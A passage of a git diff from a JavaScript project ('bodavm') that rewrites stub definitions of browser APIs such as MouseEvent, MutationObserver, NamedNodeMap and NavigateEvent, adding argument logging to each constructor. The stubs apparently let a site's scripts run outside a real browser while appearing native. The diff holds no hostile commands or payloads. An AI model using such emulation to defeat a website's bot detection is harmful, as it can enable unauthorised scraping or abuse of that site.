bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MouseEvent'].prototype, "MouseEvent", "pageY_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MouseEvent', "x", { + configurable: true, + enumerable: true, + get: function x() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MouseEvent'].prototype, "MouseEvent", "x_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MouseEvent', "y", { + configurable: true, + enumerable: true, + get: function y() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MouseEvent'].prototype, "MouseEvent", "y_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MouseEvent', "offsetX", { + configurable: true, + enumerable: true, + get: function offsetX() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MouseEvent'].prototype, "MouseEvent", "offsetX_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MouseEvent', "offsetY", { + configurable: true, + enumerable: true, + get: function offsetY() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MouseEvent'].prototype, "MouseEvent", "offsetY_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MouseEvent', "movementX", { + configurable: true, + enumerable: true, + get: function movementX() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MouseEvent'].prototype, "MouseEvent", "movementX_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MouseEvent', "movementY", { + configurable: true, + enumerable: true, + get: function movementY() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MouseEvent'].prototype, "MouseEvent", "movementY_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MouseEvent', "fromElement", { + configurable: true, + enumerable: true, + get: function fromElement() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MouseEvent'].prototype, "MouseEvent", "fromElement_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MouseEvent', "toElement", { + configurable: true, + enumerable: true, + get: function toElement() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MouseEvent'].prototype, "MouseEvent", "toElement_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MouseEvent', "layerX", { + configurable: true, + enumerable: true, + get: function layerX() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MouseEvent'].prototype, "MouseEvent", "layerX_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MouseEvent', "layerY", { + configurable: true, + enumerable: true, + get: function layerY() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MouseEvent'].prototype, "MouseEvent", "layerY_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MouseEvent', "getModifierState", { + configurable: true, + enumerable: true, + writable: true, + value: function getModifierState() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MouseEvent'].prototype, "MouseEvent", "getModifierState", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MouseEvent', "initMouseEvent", { + configurable: true, + enumerable: true, + writable: true, + value: function initMouseEvent() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MouseEvent'].prototype, "MouseEvent", "initMouseEvent", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/MutationEvent.js b/env_xbb_lastest_jsdom/env/MutationEvent.js index df196d0a..2790764e 100644 --- a/env_xbb_lastest_jsdom/env/MutationEvent.js +++ b/env_xbb_lastest_jsdom/env/MutationEvent.js @@ -1,17 +1,103 @@ -// MutationEvent对象 -bodavm.memory.globalobj['MutationEvent'] = function MutationEvent(){if (!(this instanceof MutationEvent)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['MutationEvent'], "MutationEvent"); -bodavm.memory.globalobj['MutationEvent'].prototype.__proto__=bodavm.memory.globalobj['Event'].prototype; -bodavm.memory.globalobj['MutationEvent'].__proto__=bodavm.memory.globalobj['Event']; -bodavm.toolsFunc.defineProperty('MutationEvent', "MODIFICATION", {configurable:false, enumerable:true, writable:false, value:1}); -bodavm.toolsFunc.defineProperty('MutationEvent', "ADDITION", {configurable:false, enumerable:true, writable:false, value:2}); -bodavm.toolsFunc.defineProperty('MutationEvent', "REMOVAL", {configurable:false, enumerable:true, writable:false, value:3}); -bodavm.toolsFunc.defineProperty('MutationEvent', "relatedNode", {configurable:true, enumerable:true, get:function relatedNode (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MutationEvent'].prototype, "MutationEvent", "relatedNode_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('MutationEvent', "prevValue", {configurable:true, enumerable:true, get:function prevValue (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MutationEvent'].prototype, "MutationEvent", "prevValue_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('MutationEvent', "newValue", {configurable:true, enumerable:true, get:function newValue (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MutationEvent'].prototype, "MutationEvent", "newValue_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('MutationEvent', "attrName", {configurable:true, enumerable:true, get:function attrName (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MutationEvent'].prototype, "MutationEvent", "attrName_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('MutationEvent', "attrChange", {configurable:true, enumerable:true, get:function attrChange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MutationEvent'].prototype, "MutationEvent", "attrChange_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('MutationEvent', "MODIFICATION", {configurable:false, enumerable:true, writable:false, value:1},'prototype'); -bodavm.toolsFunc.defineProperty('MutationEvent', "ADDITION", {configurable:false, enumerable:true, writable:false, value:2},'prototype'); -bodavm.toolsFunc.defineProperty('MutationEvent', "REMOVAL", {configurable:false, enumerable:true, writable:false, value:3},'prototype'); -bodavm.toolsFunc.defineProperty('MutationEvent', "initMutationEvent", {configurable:true, enumerable:true, writable:true, value:function initMutationEvent (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MutationEvent'].prototype, "MutationEvent", "initMutationEvent", arguments)}},'prototype'); +// MutationEvent对象 + +bodavm.memory.globalobj['MutationEvent'] = function MutationEvent() { + console.log_copy('MutationEvent 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof MutationEvent)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['MutationEvent'], "MutationEvent"); +bodavm.memory.globalobj['MutationEvent'].prototype.__proto__ = bodavm.memory.globalobj['Event'].prototype; +bodavm.memory.globalobj['MutationEvent'].__proto__ = bodavm.memory.globalobj['Event']; +bodavm.toolsFunc.defineProperty('MutationEvent', "MODIFICATION", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}); +bodavm.toolsFunc.defineProperty('MutationEvent', "ADDITION", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}); +bodavm.toolsFunc.defineProperty('MutationEvent', "REMOVAL", { + configurable: false, + enumerable: true, + writable: false, + value: 3 +}); +bodavm.toolsFunc.defineProperty('MutationEvent', "relatedNode", { + configurable: true, + enumerable: true, + get: function relatedNode() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MutationEvent'].prototype, "MutationEvent", "relatedNode_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MutationEvent', "prevValue", { + configurable: true, + enumerable: true, + get: function prevValue() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MutationEvent'].prototype, "MutationEvent", "prevValue_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MutationEvent', "newValue", { + configurable: true, + enumerable: true, + get: function newValue() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MutationEvent'].prototype, "MutationEvent", "newValue_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MutationEvent', "attrName", { + configurable: true, + enumerable: true, + get: function attrName() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MutationEvent'].prototype, "MutationEvent", "attrName_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MutationEvent', "attrChange", { + configurable: true, + enumerable: true, + get: function attrChange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MutationEvent'].prototype, "MutationEvent", "attrChange_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MutationEvent', "MODIFICATION", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MutationEvent', "ADDITION", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MutationEvent', "REMOVAL", { + configurable: false, + enumerable: true, + writable: false, + value: 3 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MutationEvent', "initMutationEvent", { + configurable: true, + enumerable: true, + writable: true, + value: function initMutationEvent() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MutationEvent'].prototype, "MutationEvent", "initMutationEvent", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/MutationObserver.js b/env_xbb_lastest_jsdom/env/MutationObserver.js index 18ffb018..d6cec649 100644 --- a/env_xbb_lastest_jsdom/env/MutationObserver.js +++ b/env_xbb_lastest_jsdom/env/MutationObserver.js @@ -1,6 +1,42 @@ -// MutationObserver对象 -bodavm.memory.globalobj['MutationObserver'] = function MutationObserver(){if (!(this instanceof MutationObserver)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'MutationObserver': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['MutationObserver'], "MutationObserver"); -bodavm.toolsFunc.defineProperty('MutationObserver', "disconnect", {configurable:true, enumerable:true, writable:true, value:function disconnect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MutationObserver'].prototype, "MutationObserver", "disconnect", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MutationObserver', "observe", {configurable:true, enumerable:true, writable:true, value:function observe (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MutationObserver'].prototype, "MutationObserver", "observe", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MutationObserver', "takeRecords", {configurable:true, enumerable:true, writable:true, value:function takeRecords (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MutationObserver'].prototype, "MutationObserver", "takeRecords", arguments)}},'prototype'); +// MutationObserver对象 + +bodavm.memory.globalobj['MutationObserver'] = function MutationObserver() { + console.log_copy('MutationObserver 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof MutationObserver)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'MutationObserver': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; + this._callbacck = arguments[0]; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['MutationObserver'], "MutationObserver"); +bodavm.toolsFunc.defineProperty('MutationObserver', "disconnect", { + configurable: true, + enumerable: true, + writable: true, + value: function disconnect() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MutationObserver'].prototype, "MutationObserver", "disconnect", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MutationObserver', "observe", { + configurable: true, + enumerable: true, + writable: true, + value: function observe() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MutationObserver'].prototype, "MutationObserver", "observe", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MutationObserver', "takeRecords", { + configurable: true, + enumerable: true, + writable: true, + value: function takeRecords() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MutationObserver'].prototype, "MutationObserver", "takeRecords", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/MutationRecord.js b/env_xbb_lastest_jsdom/env/MutationRecord.js index 6d1dcbec..cffe2346 100644 --- a/env_xbb_lastest_jsdom/env/MutationRecord.js +++ b/env_xbb_lastest_jsdom/env/MutationRecord.js @@ -1,12 +1,89 @@ -// MutationRecord对象 -bodavm.memory.globalobj['MutationRecord'] = function MutationRecord(){if (!(this instanceof MutationRecord)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['MutationRecord'], "MutationRecord"); -bodavm.toolsFunc.defineProperty('MutationRecord', "type", {configurable:true, enumerable:true, get:function type (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MutationRecord'].prototype, "MutationRecord", "type_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('MutationRecord', "target", {configurable:true, enumerable:true, get:function target (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MutationRecord'].prototype, "MutationRecord", "target_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('MutationRecord', "addedNodes", {configurable:true, enumerable:true, get:function addedNodes (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MutationRecord'].prototype, "MutationRecord", "addedNodes_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('MutationRecord', "removedNodes", {configurable:true, enumerable:true, get:function removedNodes (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MutationRecord'].prototype, "MutationRecord", "removedNodes_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('MutationRecord', "previousSibling", {configurable:true, enumerable:true, get:function previousSibling (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MutationRecord'].prototype, "MutationRecord", "previousSibling_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('MutationRecord', "nextSibling", {configurable:true, enumerable:true, get:function nextSibling (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MutationRecord'].prototype, "MutationRecord", "nextSibling_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('MutationRecord', "attributeName", {configurable:true, enumerable:true, get:function attributeName (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MutationRecord'].prototype, "MutationRecord", "attributeName_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('MutationRecord', "attributeNamespace", {configurable:true, enumerable:true, get:function attributeNamespace (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MutationRecord'].prototype, "MutationRecord", "attributeNamespace_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('MutationRecord', "oldValue", {configurable:true, enumerable:true, get:function oldValue (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MutationRecord'].prototype, "MutationRecord", "oldValue_get", arguments)}, set:undefined},'prototype'); +// MutationRecord对象 + +bodavm.memory.globalobj['MutationRecord'] = function MutationRecord() { + console.log_copy('MutationRecord 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof MutationRecord)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['MutationRecord'], "MutationRecord"); +bodavm.toolsFunc.defineProperty('MutationRecord', "type", { + configurable: true, + enumerable: true, + get: function type() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MutationRecord'].prototype, "MutationRecord", "type_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MutationRecord', "target", { + configurable: true, + enumerable: true, + get: function target() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MutationRecord'].prototype, "MutationRecord", "target_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MutationRecord', "addedNodes", { + configurable: true, + enumerable: true, + get: function addedNodes() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MutationRecord'].prototype, "MutationRecord", "addedNodes_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MutationRecord', "removedNodes", { + configurable: true, + enumerable: true, + get: function removedNodes() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MutationRecord'].prototype, "MutationRecord", "removedNodes_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MutationRecord', "previousSibling", { + configurable: true, + enumerable: true, + get: function previousSibling() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MutationRecord'].prototype, "MutationRecord", "previousSibling_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MutationRecord', "nextSibling", { + configurable: true, + enumerable: true, + get: function nextSibling() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MutationRecord'].prototype, "MutationRecord", "nextSibling_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MutationRecord', "attributeName", { + configurable: true, + enumerable: true, + get: function attributeName() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MutationRecord'].prototype, "MutationRecord", "attributeName_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MutationRecord', "attributeNamespace", { + configurable: true, + enumerable: true, + get: function attributeNamespace() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MutationRecord'].prototype, "MutationRecord", "attributeNamespace_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MutationRecord', "oldValue", { + configurable: true, + enumerable: true, + get: function oldValue() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MutationRecord'].prototype, "MutationRecord", "oldValue_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/NamedNodeMap.js b/env_xbb_lastest_jsdom/env/NamedNodeMap.js index 39ccca3f..56ee221e 100644 --- a/env_xbb_lastest_jsdom/env/NamedNodeMap.js +++ b/env_xbb_lastest_jsdom/env/NamedNodeMap.js @@ -1,11 +1,81 @@ -// NamedNodeMap对象 -bodavm.memory.globalobj['NamedNodeMap'] = function NamedNodeMap(){if (!(this instanceof NamedNodeMap)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['NamedNodeMap'], "NamedNodeMap"); -bodavm.toolsFunc.defineProperty('NamedNodeMap', "length", {configurable:true, enumerable:true, get:function length (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NamedNodeMap'].prototype, "NamedNodeMap", "length_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('NamedNodeMap', "getNamedItem", {configurable:true, enumerable:true, writable:true, value:function getNamedItem (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NamedNodeMap'].prototype, "NamedNodeMap", "getNamedItem", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('NamedNodeMap', "getNamedItemNS", {configurable:true, enumerable:true, writable:true, value:function getNamedItemNS (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NamedNodeMap'].prototype, "NamedNodeMap", "getNamedItemNS", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('NamedNodeMap', "item", {configurable:true, enumerable:true, writable:true, value:function item (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NamedNodeMap'].prototype, "NamedNodeMap", "item", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('NamedNodeMap', "removeNamedItem", {configurable:true, enumerable:true, writable:true, value:function removeNamedItem (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NamedNodeMap'].prototype, "NamedNodeMap", "removeNamedItem", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('NamedNodeMap', "removeNamedItemNS", {configurable:true, enumerable:true, writable:true, value:function removeNamedItemNS (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NamedNodeMap'].prototype, "NamedNodeMap", "removeNamedItemNS", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('NamedNodeMap', "setNamedItem", {configurable:true, enumerable:true, writable:true, value:function setNamedItem (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NamedNodeMap'].prototype, "NamedNodeMap", "setNamedItem", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('NamedNodeMap', "setNamedItemNS", {configurable:true, enumerable:true, writable:true, value:function setNamedItemNS (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NamedNodeMap'].prototype, "NamedNodeMap", "setNamedItemNS", arguments)}},'prototype'); +// NamedNodeMap对象 + +bodavm.memory.globalobj['NamedNodeMap'] = function NamedNodeMap() { + console.log_copy('NamedNodeMap 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof NamedNodeMap)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['NamedNodeMap'], "NamedNodeMap"); +bodavm.toolsFunc.defineProperty('NamedNodeMap', "length", { + configurable: true, + enumerable: true, + get: function length() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NamedNodeMap'].prototype, "NamedNodeMap", "length_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('NamedNodeMap', "getNamedItem", { + configurable: true, + enumerable: true, + writable: true, + value: function getNamedItem() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NamedNodeMap'].prototype, "NamedNodeMap", "getNamedItem", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('NamedNodeMap', "getNamedItemNS", { + configurable: true, + enumerable: true, + writable: true, + value: function getNamedItemNS() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NamedNodeMap'].prototype, "NamedNodeMap", "getNamedItemNS", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('NamedNodeMap', "item", { + configurable: true, + enumerable: true, + writable: true, + value: function item() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NamedNodeMap'].prototype, "NamedNodeMap", "item", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('NamedNodeMap', "removeNamedItem", { + configurable: true, + enumerable: true, + writable: true, + value: function removeNamedItem() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NamedNodeMap'].prototype, "NamedNodeMap", "removeNamedItem", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('NamedNodeMap', "removeNamedItemNS", { + configurable: true, + enumerable: true, + writable: true, + value: function removeNamedItemNS() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NamedNodeMap'].prototype, "NamedNodeMap", "removeNamedItemNS", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('NamedNodeMap', "setNamedItem", { + configurable: true, + enumerable: true, + writable: true, + value: function setNamedItem() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NamedNodeMap'].prototype, "NamedNodeMap", "setNamedItem", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('NamedNodeMap', "setNamedItemNS", { + configurable: true, + enumerable: true, + writable: true, + value: function setNamedItemNS() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NamedNodeMap'].prototype, "NamedNodeMap", "setNamedItemNS", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/NavigateEvent.js b/env_xbb_lastest_jsdom/env/NavigateEvent.js index f165a0cf..f198aabd 100644 --- a/env_xbb_lastest_jsdom/env/NavigateEvent.js +++ b/env_xbb_lastest_jsdom/env/NavigateEvent.js @@ -1,17 +1,115 @@ -// NavigateEvent对象 -bodavm.memory.globalobj['NavigateEvent'] = function NavigateEvent(){if (!(this instanceof NavigateEvent)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'NavigateEvent': 2 arguments required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['NavigateEvent'], "NavigateEvent"); -bodavm.memory.globalobj['NavigateEvent'].prototype.__proto__=bodavm.memory.globalobj['Event'].prototype; -bodavm.memory.globalobj['NavigateEvent'].__proto__=bodavm.memory.globalobj['Event']; -bodavm.toolsFunc.defineProperty('NavigateEvent', "navigationType", {configurable:true, enumerable:true, get:function navigationType (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NavigateEvent'].prototype, "NavigateEvent", "navigationType_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('NavigateEvent', "destination", {configurable:true, enumerable:true, get:function destination (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NavigateEvent'].prototype, "NavigateEvent", "destination_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('NavigateEvent', "canTransition", {configurable:true, enumerable:true, get:function canTransition (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NavigateEvent'].prototype, "NavigateEvent", "canTransition_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('NavigateEvent', "canIntercept", {configurable:true, enumerable:true, get:function canIntercept (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NavigateEvent'].prototype, "NavigateEvent", "canIntercept_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('NavigateEvent', "userInitiated", {configurable:true, enumerable:true, get:function userInitiated (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NavigateEvent'].prototype, "NavigateEvent", "userInitiated_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('NavigateEvent', "hashChange", {configurable:true, enumerable:true, get:function hashChange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NavigateEvent'].prototype, "NavigateEvent", "hashChange_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('NavigateEvent', "signal", {configurable:true, enumerable:true, get:function signal (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NavigateEvent'].prototype, "NavigateEvent", "signal_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('NavigateEvent', "formData", {configurable:true, enumerable:true, get:function formData (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NavigateEvent'].prototype, "NavigateEvent", "formData_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('NavigateEvent', "downloadRequest", {configurable:true, enumerable:true, get:function downloadRequest (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NavigateEvent'].prototype, "NavigateEvent", "downloadRequest_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('NavigateEvent', "info", {configurable:true, enumerable:true, get:function info (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NavigateEvent'].prototype, "NavigateEvent", "info_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('NavigateEvent', "intercept", {configurable:true, enumerable:true, writable:true, value:function intercept (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NavigateEvent'].prototype, "NavigateEvent", "intercept", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('NavigateEvent', "scroll", {configurable:true, enumerable:true, writable:true, value:function scroll (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NavigateEvent'].prototype, "NavigateEvent", "scroll", arguments)}},'prototype'); +// NavigateEvent对象 + +bodavm.memory.globalobj['NavigateEvent'] = function NavigateEvent() { + console.log_copy('NavigateEvent 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof NavigateEvent)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'NavigateEvent': 2 arguments required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['NavigateEvent'], "NavigateEvent"); +bodavm.memory.globalobj['NavigateEvent'].prototype.__proto__ = bodavm.memory.globalobj['Event'].prototype; +bodavm.memory.globalobj['NavigateEvent'].__proto__ = bodavm.memory.globalobj['Event']; +bodavm.toolsFunc.defineProperty('NavigateEvent', "navigationType", { + configurable: true, + enumerable: true, + get: function navigationType() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['NavigateEvent'].prototype, "NavigateEvent", "navigationType_get", arguments); + }, + set: 